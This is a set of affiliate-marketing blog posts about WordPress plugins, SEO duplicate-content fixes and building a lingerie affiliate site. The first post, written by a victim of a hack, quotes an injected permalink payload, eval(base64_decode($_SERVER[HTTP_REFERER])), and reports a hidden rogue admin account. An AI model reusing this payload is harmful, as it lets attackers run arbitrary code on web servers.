I got up this morning to find some of my URLs had been appended with: -

/%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_REFERER%5D))%7D%7D|.+)&%/

It would appear that the blog has been hacked by someone who registered as a subscriber using black hearted techniques I really don’t understand.  Fortunately for me my knight in shining armour came after a quick Google search  in the form of Andrew Wee who had suffered similar and has written a very thorough fix on his blog.

Read Andrew Wee’s Fix Here >>

Thanks Andrew, this one would have had us stumped.  I’ll be keeping a close eye on all my Wordpress blogs today.

My blog was running on a very old Wordpress version (lazy) so I’m not sure if this is something that’s already been fixed as part of previous version updates or not.  A good reminder that it is important to keep your WP version updated with new fixes!

*edit*

Just found this Wordpress Support Topic on the issue – it does indeed seem to be old versions that have been hacked so guys learn your lesson from this lazy affiliate marketer before it happens to your blog.  Update your Wordpress version now!!!

Also Jason suggested we check our SQL database for any admins that might have been added and sure enough when we checked, there was a spurious admin sitting in there and not visible in Wordpress!

When I find a good plugin I do like to give the developers a bit of a heads up here on the blog.  My latest find is the Featured Content Gallery plugin by iePlexus.

If you have a blog which is based around promoting just about any type of product at all, I reckon you’ve just gotta love this brill plugin which once again demonstrates just how powerful and usable the Wordpress platform really is.

So What Does It Do?

As you can see below, it creates a scrolling gallery of “featured content” from one of your site categories.  Simple and easy to use, all you have to do to create an attractive looking dynamic content unit displaying  as many of your most recent posts as you want to highlight is to pop the URL of the image you’ve used into the post into a custom field.

(click the image above to see the plugin in action on my blog)

The clever plugin does the rest, sizing your images appropriately to create a great and visually appealing display on your blog.  There are a whole host of easily customisable options for this plugin meaning you should be able to make it fit in with your theme and product areas quite readily.

I’ve been looking for a plugin that would do this for quite some time and I was extremely surprised at how easy it was to use.  Last time I tried to find something like this all sorts of complex manual resizing was required so I’m thrilled!

Like many people who shoot their mouth off on the internet, I’m too dumb / busy to always practise what I preach!  I’ve been thinking about this blog and how it has done in the 18 months since I started it.  Most sites will enjoy a gradual build of traffic as more and more top quality content is added.

So how do Affiliate Stuff’s Organic Traffic Stats Look?

I think we will refer to this sort of look as an “SEO Flatline”!  This is in contrast to another blog I’ve been running for around 6 months, and working on steadily for the past 12 weeks or so: -

As you can see, there’s a most pleasing gentle upward curve in my Google organic traffic. A stark contrast to my blog which is clearly “in the SEO doldrums”.

So What Did You Do Wrong Kirsts?

Well, I didn’t take all my own fabulous advice!  I haven’t done anything to deal with the duplicate content or weak linkage structure issues that the Wordpress platform seems to cause.

But Now I’m Drawing My Line in The Sand

I thought it would be a neat wee experiment to see what the effects of following my own advice turn out to be.  Just how much traffic have I been missing out on?  Could I have been top of the blogging pops?!  This weekend I am going to add a bit of SEO bling via a variety of excellent plugins such as Joost De Valk’s Meta Robots and RSS Footer plugins which no self respecting blog should be without *ahem*

In 3 months time, I’ll report back and let y’all see the results… if it’s a success it’ll be proof positive that all these Wordpress plugins we all keep banging on about really do super charge that SEO!

You’ve found the perfect free theme for your latest Wordpress blogging project… But wait!  Its got loads of spammy links in the footer, and they seem to be encrypted by some devious technical genius – what should you do?  Don’t delete that theme too soon… there is an easy solution.

As many of you will know, keeping those links in the footer of a WP blog can cause unpleasant issues, such as draining your hard-won link juice away from your site.

I was surprised to discover today that removing the carefully encrypted footer links is the work of about 2 minutes.  I’ll defer to the greater knowlege of the guys at the “Get Netted” blog, who created a brill tutorial with screenshots and easy to understand instructions.

Thanks to them, my brand new Solar powered products blog is looking just fab.  Cheers guys!

Just a bit of a quick post as I have found a couple of really nice ways to increase the cross linkage / passing of link juice between posts on a Wordpress blog. On one of my blogs all the posts in one particular category have stopped ranking at all. When I thought about it, I realised the cross linkage between the posts was dire. Todays exciting project was therefore to try and find some different ways to make sure my posts are “seen” by Google!

As usual there are a some plugins that I can recommend for this task (where was I before they invented Wordpress plugins, eh?): -

Similar Posts by Rob Marsh – I’ve recommended this one before in my Wordpress 102 post, however I think it is worth mentioning again. It really is a very clever wee tool and has lots of different matching perameters to display any number of posts containing similar content.

Dagon Design’s Sitemap Plugin – This isn’t a plugin for a XML sitemap that only Google will see. Rather it will generate a page or pages containing lists of all your posts by category. It has an option that lets you choose the number of links per page, how all the pages link to each other, and what order links are displayed in. It is disgustingly easy to use. Just create a page, pop in a bit of code, and Boof!! - a sitemap. Nice work lads.

I also had a bit of a gander through the Wordpress Codex (great bedtime reading guys) and discovered a handy dandy wee bit of code you can pop in to create “next” and “previous” links at the bottom of all posts. I can’t code to save myself, but I’m a demon cut and paster. Love it!

I also read a blog article on ways to improve your cross linkage and thought it was a good checklist. Worth a read, and definately worth actioning some or all of the points in the article.

So many people have asked me if there is a plugin which will allow them to pop affiliate feed content into the Wordpress format, and now I’m able to say… “Why Yes, there is a plugin that will do that!”

An old internet friend of mine, Jason Hulott, has just developed an excellent paid plugin (there’s a free trial version too) that will make bulk posting into Wordpress a breeze. He’s developed an easy peasy interface that makes uploading content based around a feed, and creating bulk time delayed posting a breeze.

I think this plugin could be very powerful if used in the right way (i.e. alongside unique content placed within the feed). Here’s a few details about what looks to potentially be a really powerful affiliate tool.

CSV Import – A Wordpress Plugin For Affiliate Marketers!

Features:-

• Imports large CSV files of up to 10,000 records to be posted immediately or on a time delayed basis.
• Assign posts to different categories. If the category doesn’t exist, the plugin will create it.
• Post to multiple categories.
• Add custom fields.
• Supports addition of video content and images.
• Incredibly easy to use.

Having had a look at the plugin, it couldn’t be more simple to use. If you have basic Excel and HTML tagging skills you should be able to easily alter a merchants data feed and use it to populate some posts. The plugin runs on a very basic feed format. Once you have uploaded the plugin, You simply need to create 5 columns within the spreadsheet: -

Then simply browse for and upload your file in Wordpress, and click submit.

Seems pretty easy to use to me!

A Plea From The Author – Do No Evil With My Plugin

Jason is a very ethical and thoughtful chap. He wants me to make it clear if you’re a spammer – please don’t buy this. Your scurrilous activities will break his affiliate heart. He very nearly didn’t release this plugin into the public domain for fear of what lazy spammers might do with it. He has written a very detailed “Ethical Usage Guide” to go along with this plugin. It’s 2,500 words packed full of hints and tips about how you can use the plugin to create easy, unique, useful content.

In his words,

You could just find some datafeeds and upload them and make huge sites of just product data. Now this is a quick way to build a big website but it won’t rank, it won’t get read and more importantly it won’t make you any money.

Couldn’t have put it better myself!

Further Information: -

• You can get detailed information and buy this fully supported plugin for $99 from Jason’s website.
• Want to try before you buy? Jason has an older and more clunky version of this plugin available to download for free here. A word of warning though, it is problematic in that the date field is a nightmare to operate. It also does not have all the features of the paid plugin. It may be buggy as it lacks the polish of the final version (so don’t base your judgement of the paid product on it), but it will probably give you an idea of how it all works.
• Finally, the link to the plugin page above is an affiliate link. Plain old link here if you can’t stand giving other affiliates commission on things

So recently I had cause to do a hell of a lot of research into Google penalties after my lingerie website got booted from the SERPS during the May update.

For one reason or another, it took me about 5 weeks to work out what the issue was and fix it. Actually, “penalty” is probably the wrong way to describe this issue. It’s more of a “filter” which is much less problematic to deal with!

So I thought it would be dashed nice to point out what I think went wrong for me, why, and how you can make your Wordpress blog duplicate content proof.

Wordpress Category Arrangements Are The Villans Of This Piece!

As I’m sure y’all know, the way that Wordpress stores your carefully crafted posts can be problematic. Often this leads to the same information being displayed under more than one URL. In my case, I created a category for each product brand and populated it with a single post. This meant the same post ended up being indexed twice thusly:-

SiteName.com/BrandName

SiteName.com/BrandName/BrandPost

Although this particular issue happened because of my particular site structure, it can happen to pretty much any Wordpress blog due to your content being indexed from many different directions.

Causes Of Wordpress Duplicate Content

• Monthly Archives
• Tags
• Posts By Author
• Trackback URLs
• Next / Previous Entries Links
• RSS Feed Content
• Wordpress Permalinks adding in A /category/ directory to URLS accessed from certain parts of your blog.

Lots of Potential Woes There Hey? And Google Might Not Like It AT ALL…

Phew, so as you can see… there are lots of opportunities for Google to see your site content twice. They quite specifically say they’re not too keen on this, although they do also say it shouldn’t be a problem if its non-malicious. BUT if you’re unlucky enough to be flagged up as having dupe content for less than pure reasons, this might happen to your organic traffic stats: -

Ouch.

But Fear Not, It Can Be Fixed – Even Better… There Are Plugins To Help You!

So here it is, your handy dandy guide to eliminating duplicate content in your Wordpress blog!

• First off, lets stop Google indexing all those pages from lots of different directions. I used Joost De Valk’s No Follow Plugin. I liked this because he’s very carefully explained why you might want to take some of the options within the interface. Whilst you’re on his site, grab his RSS Footer plugin. It means you can insert backlinks to your site within your RSS feed so that anyone reproducing your hard-earned content on their site rewards you with a backlink, and doesn’t claim credit for your work!
• If it’s an issue, get rid of that cumbersome /category/ in your permalinks with the Top Level Categories plugin.
• Sort out your Robots.txt file to make sure Google doesn’t index that RSS or other content in Wordpress that can cause dupe content horror for you and your blog. Shoemoney said it better than I can here.
• If like me, your category structure might cause something to be indexed twice but you still want your categories to be indexable – try a 301 redirect as Google suggests. Don’t know how to do that? Panic ye not – I found an amazingly simple to use Wordpress 301 Redirect Plugin. It’s got really cool stats on it too. It was this particular plugin that sorted my own issues right out. I’d already used most of what I’m chatting about above, it just wasn’t quite enough!
• Finally, just to be totally belt and braces about things, give your posts individual meta tags with this Great Meta Tag Plugin. I doubt you’d get a dupe content issue from these, but while we’re doing the 30,000 mile Wordpress service I think it’s a great addition for a whole lotta reasons.

Phew. Finished? Here’s The Effect Of My De-Duping Efforts…

Within about 3 days of applying these principals to my blog, the traffic began to return and is still steadily increasing every day as Google sorts its way through my site.

I think that’s a fairly good example of just what a massive effect duplicate content can have on a site, but also just how quickly the changes you make can improve things.

Finally…

Well, this has been a long guide but I hope really worthwhile in helping people deal with dupe content. If I have missed anything out or if anyone knows a good plugin for this type of issue, please do post it in the comments field and I’ll add any interesting ones to the bottom of this post.

Happy De-duping guys!!

I know I talk a lot about Wordpress on here… but I really can’t highlight enough just how great I really think it is for affiliates on a budget (or just plain stingy Scottish affiliates like me!).

I wrote my other guide -Wordpress 101 – All You Need For An Affiliate Site a while back, and a lot of people found it quite useful.

But what happens when you want a little more complex solution for a broader more in-depth site? It’s off to the web developers, right? Stop right there oh hasty affiliate!!! Wordpress is not simply a solution that will create a site based on a chronological “list” of data. You really can do an awful lot with it.

With that in mind, I am going to show you guys a site I have been developing since the start of November. With this site I think I’ve really shown what a cracking job you can do using Wordpress, a bit of work, and a little basic HTML / CSS knowledge. Obviously what I am talking about here is not suitable for total beginners, but I genuinely feel that most people can achieve results like this after a relatively small learning curve.

(click image to open site in new window)

So as you all know, I do a lot in lingerie… this is my new SEO friendly lingerie site! It’s absolutely jam packed with unique content which funnels visitors through to a feed based section where all the products I hope to sell are at. As you’ll see, it already has a PR2 and it is already getting around 100uv’s per day despite being brand new.

Gosh Darn Kirsty, that’s awful good. However did you manage that?
Gee thanks guys, I’m happy with it too. Here’s a list of the things we used to make this.

1 ) A Premium Magazine Style Wordpress Theme
We bought Brian Gardner’s Revolution Magazine Theme. As you’ll see from my site, the theme is insanely customisable using and comes in 2 or 3 column homepage designs. It costs just $79.99 for a single use. I bought a multiple use package for $249.. and Brian has since kindly reduced the price by $50 just to piss me off! However, for designing such a great theme, he may consider himself forgiven (for now). Cost £125

2. A Bit Of CSS Stylesheet Knowhow
We altered this theme a fair bit, but all we really had to know was some basic to medium stylesheet type stuff and we were able to sit down and completely alter all the colour schemes. If you want to see what some others have done with this same theme, check out Brian’s showcase section here… it really is amazing all the different ways you can customise a well thought out theme. Cost £0.00

3. A Teeny Tiny Bit Of Photoshopping
Duncan created the logos for me in Photoshop. He’s only got basic knowledge in Photoshop, but the site logo only took him ten minutes to actually create, with slightly longer to make some of the buttons. We got the fonts from one of them free font type sites and popped them into our Fonts folder in the C drive so Photoshop could then reference it. Cost £0.00

4. Some Really Cool Wordpress Plugins
I pretty much used all the same Wordpress plugins I referred to in the Wordpress 101 post. I also bought a plugin to manage a newsletter subscription database. This cost me all of $15. I’m not going to link to it as the chap who was selling it didn’t respond to my communications when I could not get it to work. It’s only now working because the tech support guy at Clook was extremely, extremely helpful and told me what the issue was and how to fix it.

I also used a wordpress related posts plugin to help me add additional content to each of the pages I’ve created for the various Lingerie Brands I have featured so far. The one I found works the best for me was Similar Posts, by Rob Marsh. It was certainly the easiest to install and works out related posts based on their entire contents rather than just tags and titles. The idea with this is to constantly be adding fresh content to my various pages, thus keeping Google interested in paying me a wee visit.

I’m having a couple of issues with how this plugin looks on the news articles themselves. I’d really like there to be some kind of command that excludes related posts from being displayed in some categories. But hey… that’s a pretty minor grouse and one I might work out how to get over.

Finally, I found a totally awesome link exchange plugin by Eric Medlin which creates a link submission form for your Wordpress blog and which also monitors whether or not people are continuing to reciprocate links and also records the page rank of the page on which your link is being displayed.
Cost £7.50

5. A Little Bit Of Dreamweaver To Make The Brand Profile Page Structure
We created a really basic table in Dreamweaver to format all the images within the lingerie brand profiles without the rich text editor stuffing them up. Again, only ten minutes work and something someone with a basic knowledge of Dreamweaver or simple HTML coding could do very quickly. Cost £0.00

6. Medium Range HTML, Dreamweaver & SQL Skills To Create The Feed Section
We re-created the blog template in static html and created a database driven affiliate feed site with Duncan’s SQL skills. He’s only a basic level competence in this, but he’s managed to put together a nice looking shopping area mirroring the blog design. I don’t think this is entirely necessary. You could also use a free service such as Affilistore if you wanted a feed site, and link to it from your blog navigation. Alternatively, don’t bother with the feed site… I felt it was a good fit for this subject area so have included it. However, linking direct to merchants would be just as effective in many cases.

7. A LOT Of Time Devoted To Content Writing – I’ve written 150 unique articles for this site so far, totalling somewhere in the region of 10,000 – 12,000 words. NB, if anyone even considers copying any of this content… do beware my notorious Scottish temper. I do check regularly and I am evil personified when you get on my bad side.

Despite the domain and site only being weeks old I am seeing good search engine rankings already, which really does show the value of good content. The “Content is King” adage is well worn for a reason. And as John Lamerton has been saying on his blog, Affiliates need to realise good unique content is the way forward. This is something I wholeheartedly agree with. Cost £0.00

Total Cost Of My Nice New Affiliate Site: £132.50, Plus One Hell Of A Lot Of My Time!

There’s still lots for me to do on this site, the brand possibilities are endless. I also want to add images to each of the post excerpts on the home page. Brian Gardiner has a fix for this, but for the life of me I can’t work out how to do it!